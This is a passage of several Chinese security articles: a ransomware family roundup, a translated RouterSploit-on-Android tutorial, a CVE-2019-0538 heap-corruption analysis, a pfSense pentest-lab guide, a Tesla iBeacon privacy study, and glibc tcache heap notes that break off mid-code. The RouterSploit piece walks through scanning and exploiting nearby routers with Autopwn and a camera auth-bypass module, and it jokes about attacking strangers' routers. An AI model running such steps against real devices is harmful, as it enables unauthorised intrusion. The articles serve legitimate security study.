趁五一休息，给大家聊聊最近几款勒索病毒家族的一些最新咨讯，这几款勒索病毒位于报告排行榜前四名，最近一段时间非常流行，各企业一定要提高安全意识，防止被勒索病毒攻击，全球的勒索病毒黑客组织都在日夜不停的不断寻找着他们下一个攻击目标，通过向目标植入勒索病毒快速获利
## Sodinokibi勒索病毒
Sodinokibi勒索病毒(也称REvil)，2019年5月24日首次在意大利被发现，在意大利被发现使用RDP攻击的方式进行传播感染，这款病毒被称为GandCrab勒索病毒的接班人，在短短几个月的时间内，已经在全球大范围传播，这款勒索病毒与GandCrab勒索软件存在很多关联，
Sodinokibi勒索病毒是一种勒索即服务(RAAS)的模式进行分发和营销的，并采用了一些免杀技术避免安全软件检测到，主要通过Oracle
WebLogic漏洞、Flash
UAF漏洞、网络钓鱼邮件、RDP端口、漏洞利用工具包以及攻击一些托管服务提供商MSP等方式发起攻击，这款勒索病毒最新的版本为2.2，增加了自启动注册表项等，同时还发现一批最新的采用PowerShell脚本进行无文件攻击的变种样本，加密后的文件后，如下所示：
生成的勒索提示信息文件，如下所示：
最新的Sodinokibi勒索病毒变种样本的交易方式已经全部转换为使用门罗币进行交易，如下所示：
## Phobos勒索病毒
Phobos勒索病毒是2019年8月出现的一款新型的勒索病毒，这款勒索病毒与此前发现的CrySiS(Dharma)勒索病毒在一些行为表现上非常相似，然而两者的代码结构完全不同，属于两个不同的勒索病毒家族，这款勒索病毒主要通过RDP方式入侵，然后再受害者主机上运行勒索病毒加密文件，近期监控到这款勒索病毒最新的变种样本，这批变种样本主要以devos、devoe、devil、dever、dewar、actin、acton、actor、acuff、acute等加密后缀为主，这款勒索病毒加密后的文件，如下所示：
弹出的勒索提示信息，如下所示：
目前这款勒索病毒的加密后缀，流行的已经有几十个不同变种，相关的加密后缀列表，如下所示：
## CrySiS勒索病毒
CrySiS勒索病毒，又称Dharma，首次出现是在2016年，2017年5月此勒索病毒万能密钥被公布之后，之前的样本可以解密，导致此勒索病毒曾消失了一段时间，不过随后又马上出现了它的一款最新的变种样本，加密后缀为java，通过RDP暴力破解的方式进入受害者服务器进行加密勒索，加密后的文件，如下所示：
弹出的勒索提示信息，如下所示：
## Ryuk勒索病毒
Ryuk勒索病毒最早于2018年8月被首次发现，它是由俄罗斯黑客团伙GrimSpider幕后操作运营，GrimSpider是一个网络犯罪集团，使用Ryuk勒索软件对大型企业及组织进行针对性攻击，C.R.A.M.
TG
Soft(反恶意软件研究中心)发现Ryuk勒索软件主要是通过网络攻击手段利用其他恶意软件如Emotet或TrickBot等银行木马进行传播，Emotet和TrickBot银行木马主要用于盗取受害者银行网站登录凭据，同时充当下载器功能，提供下载其它勒索病毒服务，为啥Emotet和TrickBot银行木马会传播Ryuk勒索病毒，因为TrickBot银行木马传播渠道的运营者是俄罗斯黑客团伙WIZARD
SPIDER，GRIM SPIDER是俄罗斯黑客团伙WIZARD
SPIDER的部门之一，这款勒索病主要在国外比较流行，针对一些大型企业进行定向攻击勒索，最新的变种加密后的文件，如下所示：
生成的勒索提示信息文件，如下所示：
## 2020年勒索病毒的几大发展趋势
1.各种新型勒索病毒不断涌现，未来可能会有更多成熟的或新的黑客组织加入进来，同时国外一些主流的勒索病毒运营团队去年年底就已经开始在国内寻找勒索病毒分销运营商，今年已经出现一些国内勒索病毒的运营商，他们通过暗网与国外运营商进行合作，进行勒索病毒的分发传播，谋取暴利
2.已知主流的几款勒索病毒都已开始通过公布受害者数据逼迫受害者支付赎金，今年会不会有更多的勒索病毒运营团伙采用这种运营方式来强迫受害者交付赎金
3.企业数据安全已经成为未来网络安全行业最重要的关注方向，今年针对企业的勒索病毒攻击可能会更多，同时各种新型的窃密木马会随着勒索病毒一起下发，窃取企业数据，通过“勒索+窃取”两种方式对企业的重要数据进行攻击，有报道指出在全球数据泄露的安全事件中，大部分是通过恶意软件进行网络攻击造成的
4.勒索病毒运营团队会把更多的目光转向针对云服务器提供商或运营商，对云上的数据进行加密勒索，针对Windows服务器和
Linux平台上的勒索病毒今年可能会增多，目前发现的大部分Linux平台勒索病毒大多数使用GO语言进行开发
5.勒索病毒黑客组织运营团伙可能会关闭其公开的RAAS平台服务，转化为私有化服务，以筛选具备一定专业知识的客户进行传播，提高勒索攻击的成功率，防止一些不专业的人误操作，造成相关数据被泄露，同时各个流行的勒索病毒黑客组织已经开始在全球招募更多成熟的高端恶意软件开发人员进行勒索病毒的开发
6.各个不同的勒索病毒组织之间竞争会越来越激烈，这也会促使这些勒索病毒黑客组织不断更新，推出更多的新型的勒索病毒，同时也会加大在勒索病毒方面的运营手段
勒索病毒攻击已经越来越频繁了，现在不仅仅是企业，个人用户也已经成为了勒索病毒黑客组织攻击的目标，必竟其他行业里大多数人对勒索病毒并不了解，比如一些知名博主，圈内大咖，公司高管等一些”上层”有钱人士未来会不会成为一些勒索病毒黑客组织攻击的目标?现在的勒索病毒使用的技术已经越来越成熟，新的勒索病毒不断被发现，旧的勒索病毒不断变种，攻击手法越来越多，不管是企业，还是个人一定要提高警惕，以防被勒索病毒趁虚而入，上面介绍的这几款流行的勒索病毒暂时都无法解密，需要提高安全意识，勒索病毒，以防为主
如果你遇到了勒索病毒，欢迎提供勒索病毒的相关信息给我，例如：勒索病毒病毒样本、勒索提示信息，勒索病毒黑客组织信息，勒索病毒RAAS平台信息，主机日志信息，勒索病毒黑客的钱包地址等 | 社区文章 |
# 【技术分享】如何在未root的手机上安装漏洞利用框架RouterSploit
|
##### 译文声明
本文是翻译文章，文章来源：wonderhowto.com
原文地址：<https://null-byte.wonderhowto.com/how-to/exploit-routers-unrooted-android-phone-0178066/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[WisFree](http://bobao.360.cn/member/contribute?uid=2606963099)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
RouterSploit跟著名的[Metasploit](https://null-byte.wonderhowto.com/how-to/metasploit-basics/)差不多，RouterSploit同样是一款功能强大的漏洞利用框架。但RouterSploit主要针对的是路由器设备，它能够快速识别并利用路由器中存在的安全漏洞，本文将告诉大家如何一步一步地将RouterSploit安装到未root的Android设备上。
**写在前面的话**
在此之前，我曾写过一篇关于如何在Kali Linux和macOS（OS X）上安装RouterSploit的教程【[传送门](https://null-byte.wonderhowto.com/how-to/seize-control-router-with-routersploit-0177774/)】，但在这篇文章中我将会一步一步地教会大家如何在一台未root的Android智能手机上安装RouterSploit。安装完成之后，也就意味着你可以对这台智能手机所连接到的路由器进行漏洞挖掘或安全测试了。接下来，就是Android设备展示其便携性和功能性的时候了。
**RouterSploit与路由器的故事**
路由器是我们进入互联网世界的网关，它们可以发送我们的网络流量、加密我们的流量并保护我们的隐私、或者允许我们通过本地网络来与其他设备进行互联互通。
很多普通用户在购买了一台路由器之后一般都是拿回来就插上网线接上电，然后就一直用到它坏掉为止。但也许你并不知道路由器其实也是一台运行了Linux系统的小型计算机，绝大多数用户不仅不会去修改路由器的管理员密码，而且可能永远都不会为路由器安装额外的安全保护插件或给路由器进行安全更新。如果你不幸躺枪的话，你应该在阅读本文之前赶紧更改你的路由器密码，并安装相应的更新补丁。
由于路由器往往是一种很容易被普通用户忽略的设备，所以我们只需要使用正确的工具，就能够扫描并利用路由器中存在的常见漏洞。RouterSploit利用的是最常见的路由器安全漏洞以及默认配置，在RouterSploit的帮助下，我们就可以通过任何支持Python脚本的设备来对路由器进行攻击。
**Android和Debian Linux**
如果你想在Android手机上运行黑客工具的话，绝大多数情况下你都需要先拿到手机的root权限，但某些手机的root过程很可能非常复杂，甚至用户根本拿不到root权限，而且root之后手机将会变得非常不安全。为了在未root的Android手机上安装并运行RouterSploit，我们需要使用到一款名叫[GNURootDebian](https://play.google.com/store/apps/details?id=com.gnuroot.debian&hl=en)的App来在Android手机上搭建和配置Debian系统环境，也就是传说中的Kali
Linux。
安装完成后的运行截图如下所示：
Kali可以帮助我们确定是否已经把绝大多数的依赖组件都安装好了，所以我们首先要为我们Android版本的Debian系统安装好所有的依赖组件，这样才能让系统正常运行。整个过程并不需要root权限或其他乱七八糟的权限，我们可以直接在Android手机上运行Linux
Python工具来完成安装。需要注意的是，虽然不支持数据包注入，但RouterSploit这样的框架仍然是可以正常运行的。
**在Android设备上使用攻击框架**
Android环境的天然特性允许我们可以轻松地使用各种各样的无线攻击技术来检测、连接和入侵任何无线接入点。在入侵路由器时，我所使用的Android应用工具如下：
1\. 为了探测和识别某个区域内的无线网络，我使用了[Wigle Wifi
Wardriving](https://play.google.com/store/apps/details?id=net.wigle.wigleandroid)。它可以允许我们查看、记录并与区域内所有正在传输数据的无线网络进行交互。
2\. 为了根据制造商、IP地址和可用服务来扫描和识别可攻击的目标网络，我使用了[Fing Network
Scanner](https://play.google.com/store/apps/details?id=com.overlook.android.fing%27)，这款工具可以返回当前设备所连接的网络详细信息。
3\.
一旦我们确定了需要测试/攻击的网络之后，RouterSploit的Autopwn扫描器便会向目标网络发送所有可用的Payload，我们所使用的测试设备是三星的最新款旗舰Galaxy
S8，整个测试过程只需要一分钟不到的时间便可完成。
**以未root的Android手机作为攻击平台**
在Android手机上使用强大的Linux攻击框架可以给我们提供另外一种攻击视角，就算别人知道你在用你的手机做一些“不正常”的事情，他们也不会对你有所怀疑，这就是利用Android手机来进行黑客攻击的一个非常大的好处。
人们常说，最好的武器就是你手中握有的武器，黑客工具也不例外。在配置好了我们的攻击环境之后，我们就可以在不需要任何特殊工具的情况下使用GNURoot
Debian来审计任何路由器的安全性的。
很快你就会发现，当你拿着手机在马路上到处攻击别人的路由器时，别人还以为你在玩Pokémon Go呢！
**我们需要准备什么？**
我们需要的硬件设备只有Android智能手机。我使用的是一台三星Galaxy
S8，因为随身携带一台拥有巨大的全曲面玻璃屏的手机可以随时提醒我生命到底有多么的脆弱，不过你也可以使用其他型号的Android手机，只要它支持GNURoot
Debian就行。
**第一步：安装GNURoot Debian**
首先我们要安装GNURoot Debian，它可以帮助我们在一台未root的Android设备商运行Debian Linux系统。在Google
Play应用商店中，搜索GNURoot
Debian或点击【[这个链接](https://play.google.com/store/apps/details?id=com.gnuroot.debian&hl=en)】直接下载。
下载并安装这个App（60MB），首次运行时，工具会自动配置Debian环境：
整个配置过程大概需要一两分钟，配置完成后你就会看到如下图所示的界面了：
**第二步：安装依赖组件**
Android版的Debian Linux并不像Kali
Linux，它没有预装任何特殊的依赖组件，所以我们还要自行安装很多东西。首先，我们要使用下列命令更新Debian系统：
apt-get update
然后安装一些RouterSploit需要的工具：
apt-get install sudo
sudo apt-get install git-core
git和sudo安装完成之后，我们就可以从GitHub库将RouterSploit克隆到本地，然后用sudo命令运行它了：
sudo apt-get install python-dev python-pip libncurses5-dev git
**第三步：安装RouterSploit**
依赖组件安装完成之后，我们可以使用下列命令下载RouterSploit：
git clone https://github.com/reverse-shell/routersploit
**第四步：首次运行RouterSploit**
RouterSploit安装完成之后，我们需要运行它并确定它能够正常工作。使用下列命令定位到RouterSploit的主目录：
cd routersploit
然后使用下列命令运行Python脚本：
sudo python ./rsf.py
等几秒钟大概就可以加载完成了，然后你就能看到RouterSploit的启动画面了。RouterSploit的操作接口与Metasploit的十分相似，几个比较主要的操作命令如下：
1\. use（模块）
2\. set（设置）
3\. show options（显示模块选项）
4\. check（确定目标是否可攻击）
5\. run（运行漏洞利用模块）
我们所要运行的模块是Autopwn，命令如下：
use scanners/autopwn
该命令将会启动Autopwn扫描器，并开始对目标进行漏洞扫描。
**第五步：设置攻击目标**
安装了Wigle Wifi Wardriving之后，我们就可以使用自己的Android手机查看附近的无线网络了。当你获得了一个Wi-Fi网络的访问权或者Wi-Fi密码之后，我们就可以用Fing或其他网络扫描器扫描这个网络并搜索出所有与该路由器相连的设备。
当你定位了目标的IP地址之后，我们就可以在Autopwn中进行设置了。我们可以使用下列命令查看模块的可选操作项：
show options
进入了Autopwn模块之后，我们可以在终端里使用下列命令来设置需要攻击的路由器IP地址：
set target IP_address_here
将上述命令中的IP_address_here替换成需要攻击的路由器IP地址，然后按下回车。如果你不确定是否设置成功的话，可以再次输入命令“show
options”来进行确认。接下来，输入命令 “run”并按下回车来执行扫描模块。等待片刻，工具便会在终端输出扫描结果以及发现的安全漏洞。
**第六步：利用已发现的漏洞**
扫描结束之后，输入“use”命令然后将Autopwn提供的漏洞利用模块复制进去。例如：
use exploits/cameras/dlink/dcs_9301_9321_auth_bypass
跟之前一样设置目标的IP地址：
set target IP_address_here
IP地址设置好之后，运行命令“check”来确定是否可以利用这个漏洞来攻击目标设备。如果可以利用的话，运行“run”命令来执行漏洞利用模块。
**警告**
请同学们不要将其用于恶意目的，就算目标路由器完全没有任何的防御机制，你也不要对它做太过分的事情。值得注意的是，由于Autopwn扫描器的“动作”会比较大，所以很可能会被安全产品检测到，请你小心使用。
如果你对本文有任何疑问的话，请与作者联系。（[Twitter](https://twitter.com/SADMIN2001)或[Instagram](https://www.instagram.com/sadmin2001/)） | 社区文章 |
### 前言
在2018年9月，`Fortinet`的`FortiGuard实验室`研究员`Honggang Ren`在`Windows
JET`引擎的`Msrd3x40代码`中发现了一个执行漏洞，之后通过相关流程向微软公司进行了报告。在2019年1月的星期二，微软发布了新的安全公告，其中包含此漏洞的修复程序，并将其标识为
**CVE-2019-0538** 。
这个易受攻击的`DLL msrd3x40`漏洞点存在于Windows 7到Windows
10的所有版本中。在我们的报告中提到的漏洞可以使用精心设计的mdb文件进行触发。由于我们解析mdb
PoC文件时释放无效的堆地址会发生堆损坏，所以这导致代码执行漏洞。
在本文中，我们希望分享对此漏洞的详细分析。
### 分析
这里有两种方法可以重现此漏洞。
#### 方法一：
通过在`Excel
oledb`外部数据源加载PoC文件的过程中使用下面的这几个参数可以导致Excel产生崩溃。这个PoC文件可以放置于任何本地或smb共享中。
#### 方法二：
在Windows 10中，用户可以在命令窗口中执行`“cscript.exe trigger.vbs”`。
上图为`trigger1.vbs`脚本情况。
下图是冲突发生时调用堆栈的情况。
从上面的调用堆栈的输出中我们可以看到冲突发生在函数“`msrd3x40!free`”中。
之后我们通过以下命令启用`cscript.exe`填充页堆：“`gflags /p /enable cscript.exe /full`”。
然后，让我们在堆内存地址中检查内存释放失败的原因。 内存处于`MEM_RESERVE`状态，如下所示：
通过逆向工程的追踪，我们可以看到攻击者精心设计的`mdb`错误地导致调用`msrd3x40.dll`文件，因为精心设计的mdb文件头版本字段为0，而正常版本应为1
。正常的mdb文件会让程序输入头进行解密操作。然而，由于精心设计的mdb文件版本字段为0，mdb文件没有在`msjet40.dll`中完成标头解密操作。
因此，具有攻击性质的mdb文件将跳跃至函数`msjet40!ErrOpenForeignDatabase+0x65`处并调用`msrd3x40.dll!ErrIsamOpenDatabase`。
但处理正常的mdb文件并不会调用`msrd3x40.dll`。 因此，从此处开始，精心设计的mdb文件导致系统采用错误的代码分支。
上图显示了版本错误调用`msrd3x40.dll`的情况。
`DLL msrd3x40.dll`文件会解密精心设计的mdb标头。
偏移量0x42处的数据最初为0x86，但在RC4解密mdb头之后，0x42处的偏移量数据变为0。 因此系统会跳转到下一个代码分支上， 请参阅以下代码：
到目前为止，系统仍然没有生成无效的堆内存地址。 之后通过进一步的逆向工程追踪，我们发现用于生成无效堆内存的乘数因子来自以下代码：
运行上述`Database::AssignUserNumber`函数后，密钥乘法因子变量`[esi + 6ch]`等于0x100。
接下来，让我们跟踪无效的堆内存生成，如下所示：
在该函数中，[ecx + 6c]处存放了事先获得的密钥乘法因子0x100。此处`dx = 0x1`。在经过值分配后。[ecx + eax * 2 +
194h]实际分配给数字1，而这里的数字实际上是释放的无效存储器地址的低字节。
也就是说，在调用`Database::MarkCorrupt`函数之前，目标对象的堆指针是正确的。
然而，在将值0x1字分配给上述存储器地址之后，系统会生成无效堆指针。 这导致无效指针的释放并使代码无法正常执行。
从上面的分析情况，我们可以看到漏洞的根本原因是由于mdb版本格式错误，这导致程序采取错误的分支。而精心设计的mdb文件使得偏移量为`0x42`的数据为`0x86`，数据偏移量为`0x600
-0x7ff all`等于0 。这会导致系统使用0x100值创建乘法因子。
在下一个函数调用中，乘法因素将导致目标堆地址的低位字被1覆盖，并且生成了无效的堆地址。 从而使得释放无效堆地址时导致系统崩溃。
成功利用此漏洞可能导致远程执行代码。
### 结论
我们鼓励所有使用`Microsoft Windows Server`漏洞版本的用户将系统升级为打补丁版本。此外，已部署Fortinet
IPS解决方案的组织自2018年10月12日起会受到签名的保护，从而不受此漏洞的影响：
**MS.JET.Database.Engine.Msrd3x.Remote.Code.Execution**
更多相关的0 day信息请点击： [这里](https://fortiguard.com/zeroday/FG-VD-18-132)
本文为翻译稿件，来源于：https://www.fortinet.com/blog/threat-research/microsoft-windows-jet-engine-msrd3x-code-execution-vulnerability.html | 社区文章 |
# 【技术分享】如何构建自己的渗透测试环境
|
##### 译文声明
本文是翻译文章，文章来源：deepdotweb.com
原文地址：<https://www.deepdotweb.com/2017/09/04/setup-pentest-lab/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：140RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**一、前言**
扪心自问一下，你是想成为一个激情四射的渗透测试者，还是一个无法无天的黑客？万事开头难，你想先从基础学起，于是在Google上搜索“hacking”、“hacker”等一堆关键词，结果得到一堆弱智的教程，比如，有的教程教你如何使用alfa
awus036h网卡来黑掉邻居的wpa网络（然而你并没有成功！），然后你找到一些论坛，论坛上充斥着各种话题，如恶意软件、僵尸网络、漏洞利用技术以及比特币。你问了些细节问题，但没有得到你想要的答案，一段时间后，你终于开始对这个方向有个大体上的了解。你没有放弃，继续查阅书籍、课程、访问相关网站（如[DeepDotWeb](https://www.deepdotweb.com/)这个网站），最后你自豪地说自己已经知道如何成为一名真正的黑客。但现在你真的是一名[黑客](https://www.deepdotweb.com/2017/08/18/ghost-telephonist-allows-hackers-make-calls-texts-phone-number/)吗？还没有。你了解相关知识、大概理解整体框架，但你还需要训练。你需要自己动手，这也是提升黑客技能的唯一途径。然而你肯定不想在监狱里度过余生，所以最好还是搭建自己的[渗透测试实验室](https://www.deepdotweb.com/2017/07/07/the-penetration-testers-career/)，这样你就可以在不触碰法律的前提下进行黑客实验。
**二、可选项**
你当然可以选择安装Metasploitable。Metasploitable由Metasploit平台的开发者创建而成，是一个专用的存在漏洞的操作系统，外表看起来就如同virtualbox虚拟机中的命令行终端（该系统没有图形界面）。然而本文并不是Metasploitable学习教程，因此我会给你介绍另一种可选方案。在本文中，我们会下载几个操作系统镜像，在Virtual
Box中安装这些镜像，然后通过pfSense这个软件将这些系统连接起来。
**三、pfSense**
pfSense是为企业设计的开源防火墙，是许多商业防火墙的替代解决方案。官网对pfSense的介绍如下：
“pfSense项目是一个免费的网络防火墙软件，以自定义内核的FreeBSD操作系统为基础进行构建，使用了第三方免费软件包以提供附加功能。在这些基础上，pfSense软件能够提供与常用商业防火墙相同或者更多的功能，并且不会受到任何人为限制。pfSense已经成为许多大型商业防火墙的替代品，这些防火墙包括Check
Point、Cisco PIX、Cisco
ASA、Juniper、Sonicwall、Netgear、Watchguard、Astaro等，你能想到的防火墙都在这个名单内。
pfSense软件提供了一个web接口，用来配置软件所包含的各种组件。用户不需要掌握任何UNIX知识，不需要使用命令行进行操作，甚至不需要手动编辑各种防火墙规则集。熟悉商业防火墙的用户可以快速上手，但对不熟悉商业级防火墙的用户来说可能需要一段学习过程。”
首先我们需要执行如下操作：
下载pfSense [iso压缩文件](https://nyifiles.pfsense.org/mirror/downloads/pfSense-CE-2.3.4-RELEASE-i386.iso.gz)。
解压这个文件。
为pfSense创建一个虚拟机。
分配合适的内存：
设置处理器选项：
现在有个关键点：我们需要启用两块不同的网卡，一块用于桥接网络，一块用于内部网络，这样设置防火墙才能正常工作。
点击“OK”，启动pfSense虚拟机：
选择“Accept these settings”选项：
然后选择“Quick/Easy Install”：
在快速安装确认界面选择“OK”选项，开始安装过程。整个安装过程需要一段时间，所需时间取决于具体的硬件条件。
选择“standard kernel”选项：
请注意，按下“reboot”选项后，我们需要马上弹出安装光盘，具体操作是点击virtual-box软件的“device”菜单，选择弹出安装介质，如果不这么做，安装过程又会重新开始。
安装结束后，呈现在你眼前的是pfSense主菜单。你可以看到之前创建的两块网卡的名称以及对应的IP信息。通常情况下，em0为wan接口，em1为LAN接口。如果你想修改这两个接口的IP地址范围，你可以选择第2个选项，系统会让你选择使用DHCP方式还是手动设置方式来分配IP地址。你也可以将访问方式从https改为http，但最好还是别这么做。这些步骤完成之后，你可以使用浏览器访问防火墙LAN口的IP地址，浏览配置页面。从现在开始，你可以使用非常人性化的图形界面来配置防火墙的各种设置。
**四、安装操作系统**
****
现在我们已经尝试安装各种类型的操作系统，利用这个软件将这些系统连接在一起。强烈建议你安装具有不同功能的操作系统（例如开放不同的端口、服务等），以便构建更加真实的网络环境。我给出了一些系统的下载链接，如下所示，你可以自己动手尝试一下。
[Mac OS X VMDK by
Niresh](https://mega.nz/#!NQ8wHZSJ!p7ZT1AJpR8KToSJE_tOmDsPtS8eWWjJ_NBFe7bK5qRg)
[Windows Server 2012 R2](https://www.microsoft.com/en-us/evalcenter/evaluate-windows-server-2012-r2)
[Ubuntu 16.04.3 LTS](https://www.ubuntu.com/download/desktop)
[Kali Linux 2.0](https://www.kali.org/downloads/)
开始你的探索之旅吧少年！ | 社区文章 |
# 车联网安全系列——特斯拉iBeacon隐私泄露
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
大家好, 我是来自银基车联网安全实验室的 KEVIN2600. 今天我想跟大家分享下研究Tesla过程中的一个有趣案例. 希望抛砖引玉,
一起为中国车联网安全做出贡献.
Tesla电动汽车通过颠覆性的创新能力, 使其迅速成为新能源汽车的领导者. 而作为毫无根基的后来者,
Tesla电动汽车将安全性、智能化、可靠性完美融为一体. 甚至公司创始人Elon Musk自信地称其为 “A sophisticated computer
on wheels”.
当然作为业界的翘楚, 自然会吸引很多人的兴趣, 其中也包括黑客群体. 在刚刚落幕的德国黑客大会36C3上, 安全研究员 Martin Herfur就对
Tesla Model 3提出了隐私泄露隐患的质疑.
Martin研究发现Tesla Model 3 通过蓝牙频道不断对外明文广播一组特殊的ID号. Tesla将这组ID号作为实现手机APP门禁系统的重要参数.
然而用户并没有权限改变或者关闭这组特殊ID号, 这就给有心人士造成了可趁之机. 只要通过扫描捕捉这组ID号, 就可实现对Tesla Model3车主的跟踪,
从而对车主的个人隐私造成困扰. Martin还特意写了一个测试APP (特斯拉雷达). 并搭建了全球特斯拉监测平台.
感兴趣的读者可以到teslaradar.com去了解更多的信息.
个人隐私问题在资讯发达的今天显得尤为突出. 商家在个人隐私保护方面是否足够重视, 也成为人们评价一款产品优秀与否的标准之一.
美国加州立法委员会甚至将其列在了《加州物联网网络安全法案》中. 而各类车联网产品是否存在隐私泄露问题, 也是非常重要的检测环节. 因此当听说了这个Tesla
Model 3隐患后, 立刻引起重视并作了深入的研究.
(图为研究人员在对Model3蓝牙信号进行跟踪测试)
## 0x01 街头实战测试
在做了大量测试后, 发现Tesla Model 3 确实存在通过广播特殊ID, 造成隐私泄漏的问题. 通过APP特斯拉雷达我们很快就发现了不少Tesla
Model 3. 并且成功定位了几辆经常出现在附近小区的车主.
## 0x02 iBeacon简介
那么究竟这个特殊的ID号是什么呢? 这就需要我们首先了解下什么是iBeacon. 它是最早由苹果公司发明的一项通过蓝牙广播,
专门用于跟物理世界进行交互的技术. 主要应用场景为室内定位等.
苹果公司同时定义了iBeacon广播的数据格式. 其中包含了UUID, Major, Minor, TX Power 这几个重要参数. 首先UUID
为16字节的字符串,这组字符串主要是用来区分各个不同的厂家. 比如TESLA的UUID 为
(74278bda-b644-4520-8f0c-720eaf059935). 这组UUID可以从逆向特斯拉雷达 APK 文件中找到.
接下来的Major为2字节的字符串, 通常用来定位发送方的区域或类型. 随后的2字节字符串Minor主要用来区域中具体定位. 而TX
Power顾名思义则是通过信号强弱来识别与车主的距离. 当然厂家可以根据实际需求重新定义具体用途. 而Tesla Model3
的特殊ID号则在蓝牙设备名字项出现, 如下图中的 S7120a62f34cd8018C.
这里我们使用专业蓝牙分析仪 Frontline 对Tesla的广播包进行捕捉及分析. 也同样发现了相同的数据串.
## 0x03 iBeacon数据伪造
这项技术的设计初衷是为了让商家可以更加方便的与客户互动. 然而iBeacon的设计者们似乎没有过多考虑安全隐私的问题. 其通过蓝牙广播明文发送的特性,
让任何人可以通过手机或蓝牙设备对其进行数据捕获与伪造. 如下图所示我们可以轻易通过开源软件创建一个简单的iBeacon的数据包.
熟悉软件无线电的朋友, 也可以选择硬核无线大神JXJ的开源项目 (<https://github.com/JiaoXianjun/BTLE>).
在配合HackRF 或 BladeRF 使用. 比如我们可以在短时间内伪造大量iBeacon数据, 对目标设备造成困扰.
## 0x04 参考文献
<https://www.teslaradar.com/faq/>
<https://github.com/JiaoXianjun/BTLE>
<http://www.warski.org/blog/2014/01/how-ibeacons-work/>
<https://the-parallax.com/2019/11/14/tesla-radar-model-3-phone-key-ibeacon/> | 社区文章 |
# how2heap之glibc——2.26版本
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
# 0x00 前言
学习pwn绕不开Linux的堆，找到了有人翻译的shellphish团队在Github上开源的堆漏洞教程。
[how2heap总结-上](https://www.anquanke.com/post/id/86808)
[how2heap总结-下](https://www.anquanke.com/post/id/86809)
里面有github地址以及《Glibc内存管理-Ptmalloc2源码分析》的地址，我就不贴了，另外安利一本《程序员的自我修养》
本文是我在学习how2heap遇到的一些坑，做了一些整理，最主要的是因为glibc-2.26之后引入了tcache机制，导致刚开始学习时，发现运行结果和说好的不一样，N脸懵逼。
## 0x01 准备工作
how2heap的代码要使用不同的版本glibc进行实验，因此提供了glibc_run.sh，使用方法
`glibc_run.sh <version> <code>`
``栗子：
`glibc_run.sh 2.25 ./glibc_2.25/unsafe_unlink`
不过由于还要使用gdb调试，就不能依赖glibc_run.sh脚本了，看下脚本执行的内容，栗子执行的命令就是`LD_PRELOAD="./glibc_versions/libc-2.25.so"
./glibc_versions/ld-2.25.so ./glibc_2.25/unsafe_unlink`
使用不同的libc可以通过环境变量LD_PRELOAD解决，在gdb中可以通过命令`set exec-wrapper env
"LD_PRELOAD=./libc-2.25.so"`解决，现在就剩下链接器了，在看雪上看到有人分享了Python脚本修改程序使用的ld
[关于不同版本glibc强行加载的方法（附上代码）](https://bbs.pediy.com/thread-225849.htm)
## 0x02 tcache
这里只是初步展示下tcache，一个长度为64的链表数组，每个链表的长度最大是7，链表类似于fastbin，通过fd连起来，不过fastbin中fd指针是指向下一个chunk的首地址，而tcache是指向下一个chunk的fd的地址。
这里以64位为例，tcache是个结构体，里面有count数组和指针数组，长度都是64，根据下标一一对应，结构体的声明是参考的:<https://www.anquanke.com/post/id/104760>
/* We overlay this structure on the user-data portion of a chunk when the chunk is stored in the per-thread cache. */
typedef struct tcache_entry
{
struct tcache_entry *next;
} tcache_entry;
/* There is one of these for each thread, which contains the per-thread cache (hence "tcache_perthread_struct"). Keeping overall size low is mildly important. Note that COUNTS and ENTRIES are redundant (we could have just counted the linked list each time), this is for performance reasons. */
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
static __thread tcache_perthread_struct *tcache = NULL;
数组长度是64，存储的chunk大小是从32~1040字节，递增16字节，所以是数组下标从0开始，那么对应chunk大小就是(下标+2)*16
这个缓存链表类似于fastbin，每组链表节点长度为7，对应chunk释放后加入链表时，对应的in_use状态不变（状态位在内存相邻的下一个chunksizi字段上），因此内存地址上连续的两个chunk都释放了，也是不会合并的。
链表是通过fd指针相连的，fd也是指向另一个chunk的fd指针的地址，顺序是先进后出。
进行两个实验，实验一是为了证明数组大小，对应的chunk范围以及chunk是先进后出，实验二是为了证明链表长度最大是7。
实验一：
chunk大小范围是32-1040
因此申请的最小chunk设为16，最大chunk设为1024
a[0]=malloc(16)
a[1]=malloc(16)
a[2]=malloc(1024)
再按顺序释放a[0]、a[2]、a[1]，然后再申请一次a[3]=malloc(16)
申请过3个内存之后的heap
现在释放a[0]和a[2]，tcache也是申请的一块堆内存上存放的，因此查看申请的第一块内存的数据，tcache的chunk是从0x602000开始的,前16字节是chunk头，之后的64字节是count数组，用来记录对应下标链表的个数，之后的每8个字节是一个链表，总体是链表数组，长度是64。count数组的最低位和最高位分别记数了1，链表里存放的是a[0]和a[2]的fd指针的地址。
现在再释放a[1]，tcache链表数组的第一个链表会指向a[1]的fd指针，也就是0x6020a0，而a[1]的fd存储的是a[0]的fd地址，并且count数组对应的值会变为2（对应count数组中的下标为0）
之后再去申请16字节的内存，那么会从tcahce中获取，按照FILO的原则，a[1]对应的chunk会先被选中，因此a[4]与a[1]的值是一样的
实验二：
申请a[0]~a[8]一共9个chunk，依次释放，会发现前7个在tcache中，后两个会在fastbin上。
先释放a[0]~a[6]
查看tcache，现在链表长度是7，fastbins中没有chunk
现在继续释放a[7]，tcache是没有变化的，a[7]进入fastbins
继续释放a[8]，a[8]也加入了fastbins中
接着看下a[7],a[8]的fd是指向的chunk头还是fd
fastbins中的单链表还是指向的chunk头地址。
最后再申请一个16字节内存，应该是从tcahce中获取
## 0x03 first_fit
由于how2heap的源代码内还有说明，为了调试看的简单点，做了一些删减
/*first_fit.c*/
#include<stdlib.h>
#include<string.h>
int main()
{
char *a = malloc(512);
char *b = malloc(256);
char *c;
printf("1st malloc(512) %pn",a);
printf("2nd malloc(256) %pn",b);
strcpy(a,"this is A!");
free(a);
printf("free an");
c = malloc(500);
printf("3rd malloc(500) %pn",c);
strcpy(c,"this is C!");
printf("copy string 'this is c' to cn");
printf("c(%p):%sn",c,c);
printf("a(%p):%sn",a,a);
